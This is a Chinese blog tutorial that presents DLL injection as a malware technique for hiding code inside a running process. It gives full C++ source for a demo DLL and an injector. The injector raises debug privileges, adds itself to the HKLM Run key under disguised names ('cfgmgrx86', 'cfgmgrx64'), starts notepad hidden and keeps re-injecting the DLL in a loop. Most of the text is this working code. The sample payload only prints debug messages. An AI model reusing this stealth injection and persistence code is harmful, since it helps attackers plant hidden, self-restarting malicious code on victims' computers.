恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)

0x01 dll 注入


所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。

很多恶意代码,游戏外挂,盗号木马,顽固类病毒等程序均采用此寄生,隐藏在目标计算机之内。

0x02 关键API


VirtualAllocEx function

VirtualAllocEx函数在远程进程的地址空间中分配一块内存


C++

LPVOID WINAPI VirtualAllocEx(
  _In_     HANDLE hProcess,
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);


WriteProcessMemory function

WriteProcessMemory函数把DLL的路径名复制到第1步分配的内存中

C++

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);


GetProcAddress function

GetProcAddress函数来得到LoadLibraryW或LoadLibraryA函数(在Kernel32.dll中)的实际地址

C++

FARPROC WINAPI GetProcAddress(
  _In_ HMODULE hModule,
  _In_ LPCSTR  lpProcName
);


CreateRemoteThread function

CreateRemoteThread函数在远程进程中创建一个线程,让新线程调用正确的LoadLibrary函数并在参数中传入第1步分配的内存地址。这时,DLL已经被注入到远程进程的地址空间中,DLL的DllMain函数会收到DLL_PROCESS_ATTACH通知并且可以执行我们想要执行的代码。

C++

HANDLE WINAPI CreateRemoteThread(
  _In_  HANDLE                 hProcess,
  _In_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  _In_  SIZE_T                 dwStackSize,
  _In_  LPTHREAD_START_ROUTINE lpStartAddress,
  _In_  LPVOID                 lpParameter,
  _In_  DWORD                  dwCreationFlags,
  _Out_ LPDWORD                lpThreadId
);


VirtualFreeEx function

用VirtualFreeEx来释放第1步分配的内存。

C++

BOOL WINAPI VirtualFreeEx(
  _In_ HANDLE hProcess,
  _In_ LPVOID lpAddress,
  _In_ SIZE_T dwSize,
  _In_ DWORD  dwFreeType
);

0x03 辅助工具


测试使用如下工具,也可以使用其它工具或者命令行也可以。

debugview 微软自家工具


pchunter 手动检测工具(神器)



0x04 注入代码


实现大家可以结合代码理解。

大家可以随便自己先编写一个demo.dll 这个不是重点。为了测试,编写的关键代码如下。


HANDLE ghServerThread=NULL;

BOOL CreateLukeMutex()
{
	HANDLE hExist = ::CreateMutex( NULL, FALSE, L"5t4rk");
	if( GetLastError() == ERROR_ALREADY_EXISTS )
	{
		OutputDebugString(L"[ 5t4rk ] application is exists ");
		CloseHandle(hExist);
		return FALSE;
	}
	return TRUE;
}

DWORD  WINAPI ThreadRunning(LPVOID lpParameter)
{
	DWORD dwIniateValue=1;

	while(dwIniateValue>0)
	{
		if (dwIniateValue%10==0)
		{
			Sleep(10*10);
			OutputDebugString(L"[ 5t4rk ] Beauty And The Beast ");
		}
		else if(dwIniateValue%10==1)
		{
			Sleep(11*110);
			OutputDebugString(L"[ 5t4rk ] Because I Love You ");
		}
		else if(dwIniateValue%10==2)
		{
			Sleep(12*320);
			OutputDebugString(L"[ 5t4rk ] When You Believe ");
		}
		else if(dwIniateValue%10==3)
		{
			Sleep(13*330);
			OutputDebugString(L"[ 5t4rk ] Don't Cry For Me Argentina ");
		}
		else if(dwIniateValue%10==4)
		{
			Sleep(140*40);
			OutputDebugString(L"[ 5t4rk ] Sharp Of My Heart ");
		}
		else if(dwIniateValue%10==5)
		{
			Sleep(100*1010);
			OutputDebugString(L"[ 5t4rk ] My Heart Will Go On ");
		}
		else if(dwIniateValue%10==6)
		{
			Sleep(25*60);
			OutputDebugString(L"[ 5t4rk ] I Will Always Love You ");
		}
		else if(dwIniateValue%10==7)
		{
			Sleep(8*1030);
			OutputDebugString(L"[ 5t4rk ] More Than I Can Say ");
		}
		else if(dwIniateValue%10==8)
		{
			Sleep(13*1830);
			OutputDebugString(L"[ 5t4rk ] Can I Feel The Love Tonights ");
		}
		else
		{
			Sleep(15*1000);
			OutputDebugString(L"[ 5t4rk ] dll is still running ");
		}
		::InterlockedIncrement(&dwIniateValue);

	}
	return dwIniateValue;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:

		if(TRUE==CreateLukeMutex())
		{
			ghServerThread = CreateThread(NULL, 0, ThreadRunning,NULL,0,0);
			CloseHandle(ghServerThread);
		}
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		//
		break;
	}
	return TRUE;
}

本人在windows7 x64平台下采用vs2010进行编译,最后生成demo.dll

然后编写注射器injector.exe 因为dll注入就是通过我们运行的进程去调用某个dll使它动态

得被加载到某个正在运行的进程内存之中。本人测试采用注入到notepad记事本之中。

关键代码如下

common.h
#include <Windows.h>
#include <tlhelp32.h>
#include <process.h>
#include <Psapi.h>
#pragma comment(lib,"psapi.lib")
#include <stdlib.h>
#include <string>
#include <iostream>
#include <stdio.h>
#include<tchar.h>
using namespace std;

class CSystemFunction
{
public:
	CSystemFunction();
	~CSystemFunction();
public:

static BOOL		Is64bitOsVersion();
static bool		IsWritedRegedit();
static bool		IsStartProcess(TCHAR *szTargetProcessName);
static bool 	IsCheckProcess(TCHAR *szTargetProcessName);
static BOOL		SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) ;

static int		InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath);
static int		InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath);
static int		InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath);
static DWORD	GetProcessPIDByName(TCHAR *szTargetProcessName);
static int		InjectDLL(HANDLE hProcess, TCHAR *szDllPath);
static int		InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath);
};


common.cpp

#include "common.h"

BOOL CSystemFunction::SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)   
{  
	TOKEN_PRIVILEGES tp;  
	HANDLE hToken;  
	LUID luid;  
	if( !OpenProcessToken(GetCurrentProcess(),  
		TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,   
		&hToken) )  
	{  
		_tprintf("OpenProcessToken error: %u/n", GetLastError());  
		return FALSE;  
	}  
	if( !LookupPrivilegeValue(NULL,  
		lpszPrivilege,  
		&luid) )  
	{  
		_tprintf("LookupPrivilegeValue error: %u/n", GetLastError() );   
		return FALSE;   
	}  
	tp.PrivilegeCount = 1;  
	tp.Privileges[0].Luid = luid;  
	if( bEnablePrivilege )  
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
	else  
		tp.Privileges[0].Attributes = 0;  
	if( !AdjustTokenPrivileges(hToken,   
		FALSE,   
		&tp,   
		sizeof(TOKEN_PRIVILEGES),   
		(PTOKEN_PRIVILEGES) NULL,   
		(PDWORD) NULL) )  
	{   
		_tprintf("AdjustTokenPrivileges error: %u/n", GetLastError() );   
		return FALSE;   
	}   
	if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )  
	{  
		_tprintf("The token does not have the specified privilege. /n");  
		return FALSE;  
	}   
	return TRUE;  
}  
BOOL CSystemFunction::Is64bitOsVersion()
{
    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
    LPFN_ISWOW64PROCESS fnIsWow64Process;

    BOOL bIs64bitOS = FALSE;

    fnIsWow64Process=(LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle("kernel32.dll"),"IsWow64Process");

    if (NULL != fnIsWow64Process)
    {
        if (!fnIsWow64Process(GetCurrentProcess(),&bIs64bitOS))
        {
            // 
			return FALSE;
        }
		else
		{
			return TRUE;
		}
    }
    return bIs64bitOS;	

}
bool CSystemFunction::IsWritedRegedit()
{
    if (!Is64bitOsVersion())//32
    {
        HKEY hMyKey=NULL;
        LONG lRet=0;
        DWORD dwType = REG_SZ;
        DWORD dwSize=MAX_PATH; 
        TCHAR chData[MAX_PATH]={'\0'};;
        lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"), &hMyKey) ;
        if (lRet!=ERROR_SUCCESS)
        {
            
            OutputDebugString(_T("Regedit can not be opened\n"));
            return 1;
        }
        RegQueryValueEx(hMyKey,_T("cfgmgrx86"),NULL,&dwType,(LPBYTE)chData,&dwSize);
        if (lstrlen(chData)>10)
        {
            OutputDebugString(_T("Regedit is already exists\n"));
            RegCloseKey(hMyKey);
            return 1;
        }
        else
        {
            HKEY  hKey=NULL;
            DWORD dwDisposition;	
            TCHAR filepath[MAX_PATH]={'\0'};
			GetModuleFileName(NULL,filepath,MAX_PATH);
            lstrcat(filepath,_T(" /autostart"));
            if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("Software\\Microsoft\\windows\\CurrentVersion\\Run\\"),0,
                NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)
            {
                if (RegSetValueEx(hKey,_T("cfgmgrx86"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS) 
                {
                    OutputDebugString(_T("Regedit is already writed\n"));
                    RegCloseKey(hKey);
                    return 1;
                }
                else
                {
                    OutputDebugString(_T("Regedit cannot be writed\n"));
                    RegCloseKey(hKey);
                    return 1;
                }
            }
            else
            {
                OutputDebugString(_T("Regedit cannot be writed\n"));
                return 1;
            }
        }

    }
    else //64
    {

        HKEY hMyKey=NULL;
        BOOL bRet=FALSE;
        DWORD dwType = REG_SZ;
        DWORD dwSize=MAX_PATH; 
        TCHAR chData[MAX_PATH]={'\0'};
        LONG lRet=0;
        lRet = RegOpenKey(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"), &hMyKey);
        if (lRet!=ERROR_SUCCESS)
        {
            OutputDebugString(_T("Regedit can not be opened\n"));
            return 1;
        }

        RegQueryValueEx(hMyKey,_T("cfgmgrx64"),NULL,&dwType,(LPBYTE)chData,&dwSize);
        if (lstrlen(chData)>10)
        {
            OutputDebugString(_T("Regedit is already exists\n"));
            RegCloseKey(hMyKey);
            return 1;
        }
        else
        {
            HKEY  hKey=NULL;
            DWORD dwDisposition=0;
            TCHAR filepath[MAX_PATH]={'\0'};
            GetModuleFileName(NULL,filepath,MAX_PATH);
            lstrcat(filepath,_T(" /autostart"));
            if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,_T("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\run\\"),0,
                NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_WOW64_64KEY,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)
            {
                if (RegSetValueEx(hKey,_T("cfgmgrx64"),0,REG_SZ,(LPBYTE)filepath,sizeof(TCHAR)*(lstrlen(filepath)+1)) == ERROR_SUCCESS) 

                {
                    OutputDebugString(_T("Regedit is already writed\n"));
                    RegCloseKey(hKey);
                    return 1;
                }
                else
                {
                    OutputDebugString(_T("Regedit cannot be writed\n"));
                    RegCloseKey(hKey);
                    return 1;
                }
            }
            else
            {
                OutputDebugString(_T("Regedit cannot be writed\n"));
                return 1;
            }

        }
    }
    return 1;
}
bool CSystemFunction::IsCheckProcess(TCHAR *szTargetProcessName)
{
    bool bRetFind=false;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if(hSnap == INVALID_HANDLE_VALUE)
    {
        TCHAR chError[50]={0};
        sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());
        OutputDebugString(chError);
        return false;
    }
    
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    
    BOOL bResult = Process32First(hSnap, &pe);

    while(bResult)
    {
        if(0==lstrcmp(pe.szExeFile, szTargetProcessName))
        {
            bRetFind=true;
            break;
        }
        bResult = Process32Next(hSnap, &pe);
    }
    CloseHandle(hSnap);
    return bRetFind;

}
bool CSystemFunction::IsStartProcess(TCHAR *szTargetProcessName)
{
    if(lstrlen(szTargetProcessName)>4)
    {
        SECURITY_ATTRIBUTES  sa         = {0};  
        PROCESS_INFORMATION  pi         = {0}; 
        STARTUPINFO          si         = {0};
        sa.nLength              = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL; 
        sa.bInheritHandle       = TRUE;
        memset((void *)&si, 0, sizeof(si));
        memset((void *)&pi, 0, sizeof(pi));
        GetStartupInfo(&si);
        si.cb           = sizeof(STARTUPINFO);
        si.wShowWindow  = SW_HIDE;
        si.dwFlags      = STARTF_USESHOWWINDOW;
        TCHAR chSystem[MAX_PATH]={0};
        DWORD dwSize=GetSystemDirectory(chSystem,MAX_PATH);
        if(dwSize!=0)
        {
            lstrcat(chSystem,"\\");
            lstrcat(chSystem,szTargetProcessName);
        }
        BOOL bResult =CreateProcess(chSystem, NULL, NULL, NULL, TRUE, 
            CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
        if (!bResult)   
        {
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            OutputDebugString("Failed CreateProcess");
            return false;
        }
        if (!pi.hProcess)
        {
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            OutputDebugString("Failed WaitForSingleObject");
            return false;
        }

        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
    else
    {
        OutputDebugString("Failed command parameter");
        return false;
    }
    return true;
}

DWORD CSystemFunction::GetProcessPIDByName(TCHAR *szTargetProcessName)
{
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if(hSnap == INVALID_HANDLE_VALUE)
	{
		TCHAR chError[50]={0};
		sprintf_s(chError,"CreateToolhelp32Snapshot::0x%08x",GetLastError());
		OutputDebugString(chError);
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(pe);

	DWORD dwProcessId = 0;
	BOOL bResult = Process32First(hSnap, &pe);

	while(bResult)
	{
		if(!lstrcmp(pe.szExeFile, szTargetProcessName))
		{
			dwProcessId = pe.th32ProcessID;
			break;
		}
		bResult = Process32Next(hSnap, &pe);
	}
	CloseHandle(hSnap);

	return dwProcessId;
}
int CSystemFunction::InjectDLL(HANDLE hProcess, TCHAR *szDllPath)
{
	int szDllPathLen = lstrlen(szDllPath) + 1;

	PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx(hProcess, 
		NULL, szDllPathLen, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
	if(RemoteProcessMemory == NULL)
	{
		TCHAR chError[50]={0};
		sprintf_s(chError,"VirtualAllocEx::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}

	BOOL bRet = WriteProcessMemory(hProcess, 
		RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL);
	if(bRet == FALSE)
	{
		TCHAR chError[50]={0};
		sprintf_s(chError,"WriteProcessMemory::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}

	PTHREAD_START_ROUTINE pfnThreadRtn;
	pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
		GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if(pfnThreadRtn == NULL)
	{
		TCHAR chError[50]={0};
		sprintf_s(chError,"GetProcAddress::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
		pfnThreadRtn, RemoteProcessMemory, 0, NULL);
	if(hThread == NULL)
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"CreateRemoteThread::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}
	else
	{		
		OutputDebugString("congratulations !");
	}

	//WaitForSingleObject(hThread, INFINITE);

	VirtualFreeEx(hProcess, 
		RemoteProcessMemory, szDllPathLen, MEM_RELEASE);
	CloseHandle(hThread);
	return 0;
}
int CSystemFunction::InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath)
{
	HANDLE hProcess = OpenProcess(
		PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | 
		PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION , FALSE, dwPid);
	if(hProcess == NULL)
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"OpenProcess::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}

	if(InjectDLL(hProcess, szDllPath))
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"InjectDLL::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}

	CloseHandle(hProcess);
	return 0;
}
int CSystemFunction::InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath)
{
	DWORD dwPid = GetProcessPIDByName(szTarget);
	if(dwPid == 0)
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"GetProcessIdFromName::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}
	if(InjectDLLtoExistedProcess(dwPid, szDllPath))
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}
	return 0;
}
int CSystemFunction::InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath)
{
	if(InjectDLLtoExistedProcess(dwPid, szDllPath))
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"InjectDLLtoExistedProcess::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}
	return 0;
}
int CSystemFunction::InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath)
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);

	BOOL bResult = CreateProcess(NULL, szCommandLine, NULL, NULL,
		FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if(bResult == FALSE)
	{
		CHAR chError[50]={0};
		sprintf_s(chError,"CreateProcess::0x%08x",GetLastError());
		OutputDebugString(chError);
		return -1;
	}

	int nRet = -1;

	if(InjectDLL(pi.hProcess, szDllPath))
		goto _Exit;

	nRet = 0;

_Exit:
	ResumeThread(pi.hThread);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	return nRet;
}


main.cpp
#include "common.h"

int APIENTRY WinMain
	(__in HINSTANCE hInstance,
	__in_opt HINSTANCE hPrevInstance,
	__in LPSTR lpCmdLine, 
	__in int nShowCmd)
{
	CSystemFunction::SetPrivilege(SE_DEBUG_NAME, TRUE);
	while (true)
	{
		if(false==CSystemFunction::IsCheckProcess("notepad.exe"))
		{
			if (true==CSystemFunction::IsStartProcess("notepad.exe"))
			{
				CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");
			}
			else
			{
				OutputDebugString("the application can not be started  !");
			}
		}
		else
		{

			HANDLE hExist = ::CreateMutex( NULL, FALSE, _T("5t4rk"));
			if( GetLastError() == ERROR_ALREADY_EXISTS )
			{
				OutputDebugString("[ 5t4rk ] Application is already running !");
				CloseHandle( hExist );
				Sleep(1000*60);

			}
			else
			{
				CloseHandle( hExist );
				CSystemFunction::InjectDLLtoProcessFromName("notepad.exe","C:\\windows\\system32\\demo.dll");
				Sleep(1000*60);
			}
			
		}
	}
	return 1;
}

注意运行之前必须以右键管理员权限执行,因为注入是一种高危操作,必须过UAC。注入之前把第一个demo.dll复制到system32目录之下,当然你也可以是别的目录,修改对应的代码即可。

0x05 输出结果


测试程序采用线程实现循环输出调试信息字符串。








0x06 参考说明


如果测试失败可以先检查自己的程序和平台是不是兼容通用。
或者断点调试那个函数调用失败。或者GetLastError即可。

下载地址



参考地址